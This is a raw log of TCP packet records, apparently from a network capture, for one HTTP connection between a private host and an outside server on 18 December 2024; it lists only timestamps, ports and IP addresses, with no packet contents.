Dec 18, 2024 11:09:47.012396097 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.012536049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.012716055 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.013649940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.013691902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.013710022 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.013745070 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.014766932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.015018940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.015062094 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.015810966 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.016143084 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.016194105 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.016608953 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.016657114 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.016730070 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.016835928 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.018150091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.018178940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.018196106 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.018210888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.018906116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.018959045 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.019087076 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.019529104 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.019609928 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.019656897 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.020379066 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.020440102 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.020621061 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.021301985 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.021349907 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.021625996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.022124052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.022192955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.022238016 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.022681952 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.023065090 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.023138046 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.023207903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.023689985 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.023736954 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.024265051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.024319887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.024759054 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.025811911 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.025824070 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.025835991 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.025865078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.025882959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.026870966 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.027255058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.027302980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.027856112 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.027925014 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.028232098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.028276920 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.028878927 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.029083014 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.029246092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.029321909 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.029894114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.029959917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.030230999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.030276060 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.031012058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.031228065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.031272888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.031989098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.032201052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.032252073 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.033247948 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.033287048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.033299923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.033335924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.034250975 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.034296989 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.034658909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.034739017 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.035155058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.035204887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.035371065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.035413980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.036222935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.036395073 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.036439896 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.037168980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.037540913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.037587881 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.038150072 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.038196087 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.038479090 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.038528919 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.039191961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.039235115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.039329052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.039376974 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.040216923 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.040471077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.040497065 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.040513992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.041239023 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.041259050 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.041309118 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.042340040 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.042412043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.042459965 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.043297052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.043337107 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.043612003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.043721914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.044327974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.044374943 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.044706106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.044754982 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.045370102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.045413971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.045527935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.045576096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.046407938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.046593904 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.046643019 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.047409058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.047509909 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.047544956 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.048278093 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.048486948 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.048578978 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.048669100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.048717022 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.049622059 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.049715042 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.049932957 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.049984932 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.050492048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.050571918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.050616980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.051557064 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.051695108 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.051737070 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.052591085 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.052634954 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.052704096 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.053575993 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.053621054 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.053888083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.053926945 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.054588079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.054626942 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.054804087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.054850101 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.055799961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.055845022 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.056727886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.056749105 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.056783915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.056783915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.056812048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.056852102 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.057885885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.057929039 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.058397055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.058435917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.058842897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.058881044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.059369087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.059412003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.059559107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.059570074 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.059598923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.060502052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.060547113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.060990095 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.061034918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.061528921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.061572075 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.198823929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.198901892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.198955059 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.198995113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.199269056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.199320078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.199404955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.199443102 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.200350046 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.200395107 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.201097012 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.201142073 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.201380014 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.201394081 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.201422930 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.201442003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.202393055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.202440023 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.203193903 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.203239918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.203489065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.203500032 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.203552008 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.204480886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.204530954 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.205017090 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.205068111 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.205465078 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.205492973 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.205509901 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.205530882 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.206505060 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.206549883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.206669092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.206711054 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.207518101 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.207562923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.208261013 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.208302975 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.208595037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.208637953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.208709955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.208753109 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.209605932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.209651947 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.210175037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.210218906 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.210673094 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.210684061 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.210717916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.211671114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.211718082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.212052107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.212095976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.212666988 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.212719917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.212879896 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.212923050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.213685989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.213730097 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.214191914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.214246988 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.214797020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.214808941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.214849949 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.215776920 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.215825081 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.216108084 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.216154099 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.216917038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.216964006 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.216988087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.217027903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.218170881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.218218088 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.218261003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.218302965 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.219496012 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.219542980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.220098972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.220144987 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.220918894 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.220963955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.221358061 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.221400023 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.222136974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.222182035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.223165035 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.223205090 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.223598003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.223611116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.223645926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.224685907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.224734068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.225090981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.225136042 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.225224018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.225235939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.225265026 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.225873947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.225919962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.226200104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.226243973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.226562977 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.226607084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.226969004 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.227011919 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.227499962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.227514029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.227544069 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.227555037 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.228332996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.228377104 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.228415012 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.228456974 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.229166031 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.229212046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.229367971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.229424953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.230200052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.230245113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.230284929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.230325937 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.231246948 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.231297970 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.231924057 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.231967926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.232285976 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.232328892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.232347965 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.232389927 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.233282089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.233328104 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.233452082 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.233494043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.234288931 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.234333992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.234394073 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.234436035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.235337019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.235362053 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.235385895 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.235404968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.236394882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.236442089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.236442089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.236480951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.237452030 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.237499952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.237551928 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.237592936 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.238460064 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.238509893 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.238661051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.238703966 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.239455938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.239501953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.240390062 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.240437031 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.240547895 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.240559101 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.240590096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.241574049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.241625071 CET	49966	80	192.168.2.6	31.41.244.11
